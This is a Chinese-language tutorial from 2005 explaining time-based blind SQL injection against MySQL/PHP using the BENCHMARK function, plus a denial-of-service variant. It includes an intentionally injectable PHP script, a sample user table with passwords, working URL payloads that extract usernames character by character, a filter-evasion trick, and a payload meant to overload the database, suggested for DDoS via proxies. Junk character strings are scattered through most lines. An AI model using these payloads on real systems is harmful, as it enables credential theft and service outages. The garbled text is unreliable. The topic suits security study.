MYSQL中BENCHMARK函数的利用 - d( n% L, y9 n3 [
本文作者:SuperHei1 r* u( S( d. g9 X& d2 w8 ?3 V
文章性质:原创3 j* D- g- b9 z
发布日期:2005-01-027 B6 t& x9 u, J4 s# y, J) E2 I* L
完成日期:2004-07-09 # E& m/ \' L5 ~: Z: J5 p
第一部
7 M {5 T6 h% t( L, L; ?# i, w" r$ X2 i
利用时间推延进行注射---BENCHMARK函数在注射中的利用 x9 n7 C8 Y0 D& o o& T9 L# \
" }/ h4 O0 L) i3 R- @, K: `一.前言/思路
. i# z. D/ f' P
. r) }% z) X( z3 @+ {* @3 K* \ 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
' O4 z) ~# H( A3 U! s
$ j6 v& x$ `( ]1 |) \; _ 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。! z. u* V$ l+ O u3 s
$ B. @, l- Y6 k8 y: u$ w# s5 m/ _二.关于BENCHMARK函数) X3 t: `7 n- h
- ~3 ]+ R0 u& H1 W* H% q
在MySQL参考手册里可以看到如下描叙:
% d. z- h1 u0 v# h+ I+ t+ Q' D: U3 F
% J. h; C5 |6 ]: V: Z5 [4 Y
+ b, n: s: \) Q! N* q m--------------------------------------------------------------------------------- ?9 I; _8 `5 f! s
& x2 n% ^9 E9 _8 e. r% \# u" s
BENCHMARK(count,expr)
- v" E6 y3 k+ J+ q# l; t* ZBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , _$ l5 J* C) V1 S% E
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
: M( N0 C( L8 V2 _- i. T+----------------------------------------------+
7 H. t0 ?6 @5 R1 |1 z| BENCHMARK(1000000,encode("hello","goodbye")) |
{# d7 \0 [* b) h6 J4 G+ s+----------------------------------------------+
% o. e1 x* b, U& W5 _; Z| 0 | 5 ], O$ \: h/ o" W$ G
+----------------------------------------------+
! U# }1 T9 w9 T4 ^- g- s" V1 row in set (4.74 sec) & F P0 M. [& H8 X; b( l ` a6 s
7 e" E. L5 u, `$ u% A报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。2 a! Z+ `, M4 K& P2 J1 [
) O! t. b- y) c7 i0 p' ~$ [3 ~
) e( Q0 g- a. T' j& c5 C5 i--------------------------------------------------------------------------------- e7 b/ B% y1 N/ O: x7 p
4 Q5 E1 I% o2 s o 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 g, i+ f9 \' B, b+ ?* Q% ]2 S; v' U
mysql> select md5( 'test' );
# X9 z& X) Z& x+ V0 W: P! `2 E+----------------------------------+
# P+ x: `% b% c; q| md5( 'test' ) |
6 t9 E3 R! H0 C. |+----------------------------------+ ; q, r. r- e. z" A; w" [0 P% ?* B
| 098f6bcd4621d373cade4e832627b4f6 |
/ T- @* W6 F. V3 F! G& h/ K+----------------------------------+
8 }+ V1 M. }7 X+ e, e1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec , ~8 @5 b# M% o
1 ~: B" w* E# r5 S* r8 X/ Nmysql> select benchmark( 500000, md5( 'test' ) );
0 ~ \7 j1 O% V. }/ J$ o0 Z3 d2 |+------------------------------------+ " F* K( W8 c, @$ l. S* f0 Y8 d
| benchmark( 500000, md5( 'test' ) ) | ) J: B' w' a7 G7 b. q' H
+------------------------------------+
J" [" F9 H: @; H1 E- ]| 0 |
2 v8 [% ~8 F6 m2 t, J+------------------------------------+
" e& ^9 c7 c* r8 j" s: ^1 row in set (6.55 sec) 〈------------执行时间为6.55 sec g; ~! ^0 b' A" O* X; |" r, o
! n9 N( T, I! E2 X0 _3 E9 ~. P8 Z. M
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! y% [' M4 U+ p, M z/ a. A+ B
( K$ Y+ } m+ T( G" I4 \# `
三.具体例子
* Q) g: c0 |# q# D7 Q' ?" X9 t" B N, M
首先我们看个简单的php代码:# y! l" H: Q6 @9 Y) ?6 j& q% M
# ]; G1 C. a' C< ?php
1 ]4 a$ o( p( x$servername = "localhost";
% z. k* _. u" S# [$dbusername = "root";
+ j& C. {7 M3 k7 A' b# E4 z" E, H% D$dbpassword = ""; 6 V) O5 G$ b# H/ |, f
$dbname = "injection"; 2 K5 X4 y8 W( u* D2 X
8 `$ o8 \" J: O& g% i1 H; amysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
8 U" S' O3 a0 I! w7 T* K/ c) l O9 b( [: m. z" x6 R
$sql = "SELECT * FROM article WHERE articleid=$id"; 1 y! C8 {; b' O' I9 ^
$result = mysql_db_query($dbname,$sql); 9 D" F1 L3 S& @0 y' d; K" @
$row = mysql_fetch_array($result);
7 f, a; }% G8 m8 t3 y z2 o& s7 `( I P+ M9 ?/ i: D
if (!$row)
% l3 D3 _0 v3 S" ?* h{
* ]+ }: D+ s V2 U7 H! Q" W, ]exit; 7 c* J1 Z# }% L' M
} 4 V& m7 x+ x* [
?>
3 K, ?0 B) d+ b# W Q
# r; p4 d. D& r) A+ {8 x# \: v9 C% I- C T0 W. y
数据库injection结构和内容如下:: p. x: E% P; w0 J+ ]
( ~$ V/ }5 R/ R- [; X! \
# 数据库 : `injection`
: G5 H# q- H( F5 b, A#
8 j7 O6 m5 h+ Q3 R) H* S, T2 C) P2 A( {" U- n, z
# -------------------------------------------------------- 5 q4 s% t! C) u! A. o
0 e* X3 _4 x* J" F* R: V' S' c# 7 b. [+ N$ D6 L( K& Z& Z
# 表的结构 `article`
" q4 p* W+ T. M1 j#
7 W/ B$ L z& U7 b* l6 @5 l
% f8 Q5 ^$ G2 \5 z7 ^& eCREATE TABLE `article` (
: g6 p. v P( F`articleid` int(11) NOT NULL auto_increment,
# ~$ r/ i/ M( W! N, G`title` varchar(100) NOT NULL default '', 0 _/ m* P4 ]6 x5 N1 _. ~( f
`content` text NOT NULL,
4 Z) Y: k1 W* `9 nPRIMARY KEY (`articleid`)
, X" J/ R" I+ O2 N) TYPE=MyISAM AUTO_INCREMENT=3 ;
) j, W9 u; o, q: ]! ]7 J
- _' V" F) q9 O, o% p0 x+ O( ~#
8 @* z- k1 q5 @# h# 导出表中的数据 `article` 4 S; D x+ v1 c: |9 l5 J( R' n) r
# 1 X# D% s; `" U3 b
3 {, `: f/ {* J3 c; e/ CINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); , Y2 a# m5 U3 B9 i
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 7 I$ E0 X$ N- f& X5 ?$ H4 ~) Z" ]
; `& L% G2 p2 ~ R
# -------------------------------------------------------- ( ^7 X2 y3 \/ J$ G! r5 k* m
: o0 U u+ d* j
# + w, D+ h; \. w0 R$ ?8 b8 I2 G s
# 表的结构 `user` 0 E6 H% |0 G4 Z- f( F/ a
# 0 v! Q3 j; _7 G: l9 f- n
* ], C; E7 w `+ ICREATE TABLE `user` ( " _% J* R) w7 y2 Q$ z* C* F5 ]) a
`userid` int(11) NOT NULL auto_increment, 5 `: k, q& D% b. c, Z6 m3 k: Z
`username` varchar(20) NOT NULL default '', $ ~" b+ M( r: }6 D4 {- Y
`password` varchar(20) NOT NULL default '', 3 T( Z0 D2 B( P5 Y/ M% e8 N
PRIMARY KEY (`userid`) ' }: N. U7 G. Q4 U/ u4 o2 y7 n
) TYPE=MyISAM AUTO_INCREMENT=3 ; : |7 t; |) H7 n; F. m' f& s$ ~
7 u: E' Z/ L7 {: E$ j; r# k2 I#
% }' ^" u; H( I( I3 a+ o# 导出表中的数据 `user`
$ e& R9 R; C8 b1 e' [- w" y# / `7 V+ o& \' g' G; W5 j- ~* ~
% G3 f% j' v* EINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 2 w7 r% ~# l: Q) {$ g9 ^
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
6 s8 o& R" ]; O5 F / r' ~2 d$ T4 I" L M
+ X8 ?. h" d) ? V/ @. N) N% E
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:; _5 p4 \* f" Q6 m9 f
% u9 G; p: R" ?% N
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
3 G6 ?$ a1 m/ a/ k$ C$ C# K
+ b2 c$ r8 e, G+ N& ~4 \7 d4 D A: F) e$ t8 ^$ h
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下: M2 I% L" h5 T/ J
* a4 R, p; X( Z* Rhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*2 Q x' x5 m8 H9 K6 i% y0 Z" q
$ @. ?2 u' Y" s9 {" M- [
6 U3 C: ?$ E5 d' ~9 i \- z) h4 ^
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& d# v! Q4 D8 D+ G1 A: c3 I8 r% D: g1 l5 v w) P' ^1 y
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
( E% Z/ s& m) ^1 E- X! u. I: M
第二部
4 }. r% h! K6 |! g: A' k9 h2 Q4 `0 \1 p5 C( }7 X. V$ E
利用BENCHMARK函数进行ddos攻击 : t( e" k' c- E
( v$ Y5 U+ S6 Z" X
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 U3 g0 w+ N X* q S
8 I4 \; T. s# h4 R& Y' |- _, j
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))2 L0 ^! ]0 @9 b0 C* T$ D
* c0 I/ H" i; M4 }) Q0 h5 l
" q3 j" p; |6 X0 Z+ b6 Z$ q小结7 r# N" d- ?9 N* }
. h x6 M7 u( j/ q! r$ ^
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" \1 |. T% j( O* L& D & L4 y- Y/ e5 G: Y2 g0 q
2 r% P9 ^- o* s) |' [
|